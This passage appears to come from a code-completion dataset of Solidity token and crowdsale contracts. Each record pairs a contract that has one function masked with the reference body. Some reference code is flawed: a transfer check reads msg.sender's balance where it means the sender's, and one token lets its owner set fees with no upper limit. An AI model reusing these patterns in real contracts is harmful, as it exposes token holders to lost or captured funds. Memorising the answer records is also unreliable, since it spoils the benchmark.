(balanceOf[msg.sender] < _value) revert(); if (_value <= 0) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); totalSupply = SafeMath.safeSub(totalSupply, _value); Burn(msg.sender, _value); return true; } function freeze(uint256 _value) returns(bool success) { if (balanceOf[msg.sender] < _value) revert(); if (_value <= 0) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) returns(bool success) { if (freezeOf[msg.sender] < _value) revert(); if (_value <= 0) revert(); freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); Unfreeze(msg.sender, _value); return true; } function () { revert(); } }
contract SealsToken is SafeMath, owned { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => uint256) public freezeOf; mapping(address => mapping(address => uint256)) public allowance; mapping(address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Freeze(address indexed from, uint256 value); event Unfreeze(address indexed from, uint256 value); function SealsToken(address _from, address _to) { totalSupply = 10000000000000; name = 'Seals'; symbol = 'Seals'; decimals = 8; balanceOf[_to] = totalSupply; Transfer(_from, _to, totalSupply); } function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) { require(!frozenAccount[msg.sender]); if (_to == 0x0) revert(); if (_value <= 0) revert(); if (balanceOf[msg.sender] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); } function batchTransfer(address []toAddr, uint256 []value) returns(bool){ require(toAddr.length == value.length && toAddr.length >= 1); for (uint256 i = 0; i < toAddr.length; i++) { transfer(toAddr[i], value[i]); } } function approve(address _spender, uint256 _value) returns(bool success) { require((_value == 0) || (allowance[msg.sender][_spender] == 0)); if (_value <= 0) revert(); allowance[msg.sender][_spender] = _value; return true; } <FILL_FUNCTION> function burn(uint256 _value) returns(bool success) { if (balanceOf[msg.sender] < _value) revert(); if (_value <= 0) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); totalSupply = SafeMath.safeSub(totalSupply, _value); Burn(msg.sender, _value); return true; } function freeze(uint256 _value) returns(bool success) { if (balanceOf[msg.sender] < _value) revert(); if (_value <= 0) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) returns(bool success) { if (freezeOf[msg.sender] < _value) revert(); if (_value <= 0) revert(); freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); Unfreeze(msg.sender, _value); return true; } function () { revert(); } }
if (_to == 0x0) revert(); if (_value <= 0) revert(); if (balanceOf[_from] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); if (_value > allowance[_from][msg.sender]) revert(); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) returns(bool success)
function transferFrom(address _from, address _to, uint256 _value) returns(bool success)
33325
LitToken
mintFull
contract LitToken is CappedToken { string public name = "LIT"; string public symbol = "LIT"; uint8 public constant decimals = 18; uint256 public constant decimalFactor = 10 ** uint256(decimals); // HN: initial totalSupply is premined amount or total after mining? // premined = 50B // total supply = 75B // rewarded for mining = 25B uint256 public initialSupply = 50 * (10**9) * decimalFactor; // 50B uint256 public maxSupply = 75 * (10**9) * decimalFactor; // 75B function LitToken() public CappedToken(maxSupply) { totalSupply_ = initialSupply; balances[msg.sender] = initialSupply; Mint(msg.sender, initialSupply); Transfer(address(0), msg.sender, initialSupply); } /** * @dev Function to mint tokens. Only part of amount would be minted * if amount exceeds cap * * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mintFull(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {<FILL_FUNCTION_BODY> } }
contract LitToken is CappedToken { string public name = "LIT"; string public symbol = "LIT"; uint8 public constant decimals = 18; uint256 public constant decimalFactor = 10 ** uint256(decimals); // HN: initial totalSupply is premined amount or total after mining? // premined = 50B // total supply = 75B // rewarded for mining = 25B uint256 public initialSupply = 50 * (10**9) * decimalFactor; // 50B uint256 public maxSupply = 75 * (10**9) * decimalFactor; // 75B function LitToken() public CappedToken(maxSupply) { totalSupply_ = initialSupply; balances[msg.sender] = initialSupply; Mint(msg.sender, initialSupply); Transfer(address(0), msg.sender, initialSupply); } <FILL_FUNCTION> }
require(totalSupply_ < cap); uint amountToMint; if (totalSupply_.add(_amount) >= cap) { amountToMint = cap.sub(totalSupply_); } else { amountToMint = _amount; } return MintableToken.mint(_to, amountToMint);
function mintFull(address _to, uint256 _amount) onlyOwner canMint public returns (bool)
/** * @dev Function to mint tokens. Only part of amount would be minted * if amount exceeds cap * * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mintFull(address _to, uint256 _amount) onlyOwner canMint public returns (bool)
22012
QUIN_Token
null
contract QUIN_Token is StandardToken, Ownable { string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; constructor() public {<FILL_FUNCTION_BODY> } }
contract QUIN_Token is StandardToken, Ownable { string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; <FILL_FUNCTION> }
name = 'Quinty'; symbol = 'QUIN'; decimals = 18; initialSupply = 20000000 * 10 ** uint256(decimals); totalSupply_ = initialSupply; balances[owner] = initialSupply; emit Transfer(0x0, owner, initialSupply);
constructor() public
constructor() public
8652
SetUsageExample
getNumberAtIndex
contract SetUsageExample { using SetLibrary for SetLibrary.Set; SetLibrary.Set private numberCollection; function addNumber(uint256 number) external { numberCollection.add(number); } function removeNumber(uint256 number) external { numberCollection.remove(number); } function getSize() external view returns (uint256 size) { return numberCollection.size(); } function containsNumber(uint256 number) external view returns (bool contained) { return numberCollection.contains(number); } function getNumberAtIndex(uint256 index) external view returns (uint256 number) {<FILL_FUNCTION_BODY> } }
contract SetUsageExample { using SetLibrary for SetLibrary.Set; SetLibrary.Set private numberCollection; function addNumber(uint256 number) external { numberCollection.add(number); } function removeNumber(uint256 number) external { numberCollection.remove(number); } function getSize() external view returns (uint256 size) { return numberCollection.size(); } function containsNumber(uint256 number) external view returns (bool contained) { return numberCollection.contains(number); } <FILL_FUNCTION> }
return numberCollection.values[index];
function getNumberAtIndex(uint256 index) external view returns (uint256 number)
function getNumberAtIndex(uint256 index) external view returns (uint256 number)
91841
InRiddimCrowdsale
_transfer
contract InRiddimCrowdsale { // InRiddim Crowdsale function InRiddimCrowdsale(address _tokenManager, address _escrow) public { tokenManager = _tokenManager; escrow = _escrow; balanceOf[escrow] += 49000000000000000000000000; // Initialize Supply 49000000 totalSupply += 49000000000000000000000000; } /*/ * Constants /*/ string public name = "InRiddim"; string public symbol = "IRDM"; uint public decimals = 18; uint public constant PRICE = 400; // 400 IRDM per ETH // price // Cap is 127500 ETH // 1 ETH = 400 IRDM tokens uint public constant TOKEN_SUPPLY_LIMIT = PRICE * 250000 * (1 ether / 1 wei); // CAP 100000000 /*/ * Token State /*/ enum Phase { Created, Running, Paused, Migrating, Migrated } Phase public currentPhase = Phase.Created; uint public totalSupply = 0; // amount of tokens already sold // Token manager has exclusive priveleges to call administrative // functions on this contract. address public tokenManager; // Gathered funds can be withdrawn only to escrow's address. address public escrow; // Crowdsale manager has exclusive priveleges to burn tokens. address public crowdsaleManager; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => bool) public isSaler; modifier onlyTokenManager() { require(msg.sender == tokenManager); _; } modifier onlyCrowdsaleManager() { require(msg.sender == crowdsaleManager); _; } modifier onlyEscrow() { require(msg.sender == escrow); _; } /*/ * Contract Events /*/ event LogBuy(address indexed owner, uint value); event LogBurn(address indexed owner, uint value); event LogPhaseSwitch(Phase newPhase); // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /*/ * Public functions /*/ /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal {<FILL_FUNCTION_BODY> } // Transfer the balance from owner's account to another account // only escrow can send token (to send token private sale) function transfer(address _to, uint256 _value) public onlyEscrow { _transfer(msg.sender, _to, _value); } function() payable public { buy(msg.sender); } function buy(address _buyer) payable public { // Available only if presale is running. require(currentPhase == Phase.Running); require(msg.value != 0); uint newTokens = msg.value * PRICE; require (totalSupply + newTokens < TOKEN_SUPPLY_LIMIT); balanceOf[_buyer] += newTokens; totalSupply += newTokens; LogBuy(_buyer, newTokens); } function buyTokens(address _saler) payable public { // Available only if presale is running. require(isSaler[_saler] == true); require(currentPhase == Phase.Running); require(msg.value != 0); uint newTokens = msg.value * PRICE; uint tokenForSaler = newTokens / 20; require(totalSupply + newTokens + tokenForSaler <= TOKEN_SUPPLY_LIMIT); balanceOf[_saler] += tokenForSaler; balanceOf[msg.sender] += newTokens; totalSupply += newTokens; totalSupply += tokenForSaler; LogBuy(msg.sender, newTokens); } /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. function burnTokens(address _owner) public onlyCrowdsaleManager { // Available only during migration phase require(currentPhase == Phase.Migrating); uint tokens = balanceOf[_owner]; require(tokens != 0); balanceOf[_owner] = 0; totalSupply -= tokens; LogBurn(_owner, tokens); // Automatically switch phase when migration is done. if (totalSupply == 0) { currentPhase = Phase.Migrated; LogPhaseSwitch(Phase.Migrated); } } /*/ * Administrative functions /*/ function setPresalePhase(Phase _nextPhase) public onlyTokenManager { bool canSwitchPhase = (currentPhase == Phase.Created && _nextPhase == Phase.Running) || (currentPhase == Phase.Running && _nextPhase == Phase.Paused) // switch to migration phase only if crowdsale manager is set || ((currentPhase == Phase.Running || currentPhase == Phase.Paused) && _nextPhase == Phase.Migrating && crowdsaleManager != 0x0) || (currentPhase == Phase.Paused && _nextPhase == Phase.Running) // switch to migrated only if everyting is migrated || (currentPhase == Phase.Migrating && _nextPhase == Phase.Migrated && totalSupply == 0); require(canSwitchPhase); currentPhase = _nextPhase; LogPhaseSwitch(_nextPhase); } function withdrawEther() public onlyTokenManager { require(escrow != 0x0); // Available at any phase. if (this.balance > 0) { escrow.transfer(this.balance); } } function setCrowdsaleManager(address _mgr) public onlyTokenManager { // You can't change crowdsale contract when migration is in progress. require(currentPhase != Phase.Migrating); crowdsaleManager = _mgr; } function addSaler(address _mgr) public onlyTokenManager { require(currentPhase != Phase.Migrating); isSaler[_mgr] = true; } function removeSaler(address _mgr) public onlyTokenManager { require(currentPhase != Phase.Migrating); isSaler[_mgr] = false; } }
contract InRiddimCrowdsale { // InRiddim Crowdsale function InRiddimCrowdsale(address _tokenManager, address _escrow) public { tokenManager = _tokenManager; escrow = _escrow; balanceOf[escrow] += 49000000000000000000000000; // Initialize Supply 49000000 totalSupply += 49000000000000000000000000; } /*/ * Constants /*/ string public name = "InRiddim"; string public symbol = "IRDM"; uint public decimals = 18; uint public constant PRICE = 400; // 400 IRDM per ETH // price // Cap is 127500 ETH // 1 ETH = 400 IRDM tokens uint public constant TOKEN_SUPPLY_LIMIT = PRICE * 250000 * (1 ether / 1 wei); // CAP 100000000 /*/ * Token State /*/ enum Phase { Created, Running, Paused, Migrating, Migrated } Phase public currentPhase = Phase.Created; uint public totalSupply = 0; // amount of tokens already sold // Token manager has exclusive priveleges to call administrative // functions on this contract. address public tokenManager; // Gathered funds can be withdrawn only to escrow's address. address public escrow; // Crowdsale manager has exclusive priveleges to burn tokens. address public crowdsaleManager; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => bool) public isSaler; modifier onlyTokenManager() { require(msg.sender == tokenManager); _; } modifier onlyCrowdsaleManager() { require(msg.sender == crowdsaleManager); _; } modifier onlyEscrow() { require(msg.sender == escrow); _; } /*/ * Contract Events /*/ event LogBuy(address indexed owner, uint value); event LogBurn(address indexed owner, uint value); event LogPhaseSwitch(Phase newPhase); // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); <FILL_FUNCTION> // Transfer the balance from owner's account to another account // only escrow can send token (to send token private sale) function transfer(address _to, uint256 _value) public onlyEscrow { _transfer(msg.sender, _to, _value); } function() payable public { buy(msg.sender); } function buy(address _buyer) payable public { // Available only if presale is running. require(currentPhase == Phase.Running); require(msg.value != 0); uint newTokens = msg.value * PRICE; require (totalSupply + newTokens < TOKEN_SUPPLY_LIMIT); balanceOf[_buyer] += newTokens; totalSupply += newTokens; LogBuy(_buyer, newTokens); } function buyTokens(address _saler) payable public { // Available only if presale is running. require(isSaler[_saler] == true); require(currentPhase == Phase.Running); require(msg.value != 0); uint newTokens = msg.value * PRICE; uint tokenForSaler = newTokens / 20; require(totalSupply + newTokens + tokenForSaler <= TOKEN_SUPPLY_LIMIT); balanceOf[_saler] += tokenForSaler; balanceOf[msg.sender] += newTokens; totalSupply += newTokens; totalSupply += tokenForSaler; LogBuy(msg.sender, newTokens); } /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. function burnTokens(address _owner) public onlyCrowdsaleManager { // Available only during migration phase require(currentPhase == Phase.Migrating); uint tokens = balanceOf[_owner]; require(tokens != 0); balanceOf[_owner] = 0; totalSupply -= tokens; LogBurn(_owner, tokens); // Automatically switch phase when migration is done. if (totalSupply == 0) { currentPhase = Phase.Migrated; LogPhaseSwitch(Phase.Migrated); } } /*/ * Administrative functions /*/ function setPresalePhase(Phase _nextPhase) public onlyTokenManager { bool canSwitchPhase = (currentPhase == Phase.Created && _nextPhase == Phase.Running) || (currentPhase == Phase.Running && _nextPhase == Phase.Paused) // switch to migration phase only if crowdsale manager is set || ((currentPhase == Phase.Running || currentPhase == Phase.Paused) && _nextPhase == Phase.Migrating && crowdsaleManager != 0x0) || (currentPhase == Phase.Paused && _nextPhase == Phase.Running) // switch to migrated only if everyting is migrated || (currentPhase == Phase.Migrating && _nextPhase == Phase.Migrated && totalSupply == 0); require(canSwitchPhase); currentPhase = _nextPhase; LogPhaseSwitch(_nextPhase); } function withdrawEther() public onlyTokenManager { require(escrow != 0x0); // Available at any phase. if (this.balance > 0) { escrow.transfer(this.balance); } } function setCrowdsaleManager(address _mgr) public onlyTokenManager { // You can't change crowdsale contract when migration is in progress. require(currentPhase != Phase.Migrating); crowdsaleManager = _mgr; } function addSaler(address _mgr) public onlyTokenManager { require(currentPhase != Phase.Migrating); isSaler[_mgr] = true; } function removeSaler(address _mgr) public onlyTokenManager { require(currentPhase != Phase.Migrating); isSaler[_mgr] = false; } }
require(_to != 0x0); require(_value > 0); require(balanceOf[_from] > _value); require(balanceOf[_to] + _value > balanceOf[_to]); require(balanceOf[msg.sender] - _value < balanceOf[msg.sender]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value);
function _transfer(address _from, address _to, uint _value) internal
/*/ * Public functions /*/ /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal
48094
Taxes
deliver
contract Taxes is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000 * 10**1 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "https://linktr.ee/TAXESNGMI"; string private _symbol = "TAX"; uint8 private _decimals = 9; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 8; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address payable public _charityWalletAddress; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**1 * 10**9; uint256 private numTokensSellToAddToLiquidity = 300000000 * 10**1 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (address payable charityWalletAddress) public { _charityWalletAddress = charityWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public {<FILL_FUNCTION_BODY> } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function sendBNBToCharity(uint256 amount) private { swapTokensForEth(amount); _charityWalletAddress.transfer(address(this).balance); } function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() { _charityWalletAddress = charityWalletAddress; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into thirds uint256 halfOfLiquify = contractTokenBalance.div(4); uint256 otherHalfOfLiquify = contractTokenBalance.div(4); uint256 portionForFees = contractTokenBalance.sub(halfOfLiquify).sub(otherHalfOfLiquify); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(halfOfLiquify); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalfOfLiquify, newBalance); sendBNBToCharity(portionForFees); emit SwapAndLiquify(halfOfLiquify, newBalance, otherHalfOfLiquify); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
contract Taxes is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000 * 10**1 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "https://linktr.ee/TAXESNGMI"; string private _symbol = "TAX"; uint8 private _decimals = 9; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 8; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address payable public _charityWalletAddress; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**1 * 10**9; uint256 private numTokensSellToAddToLiquidity = 300000000 * 10**1 * 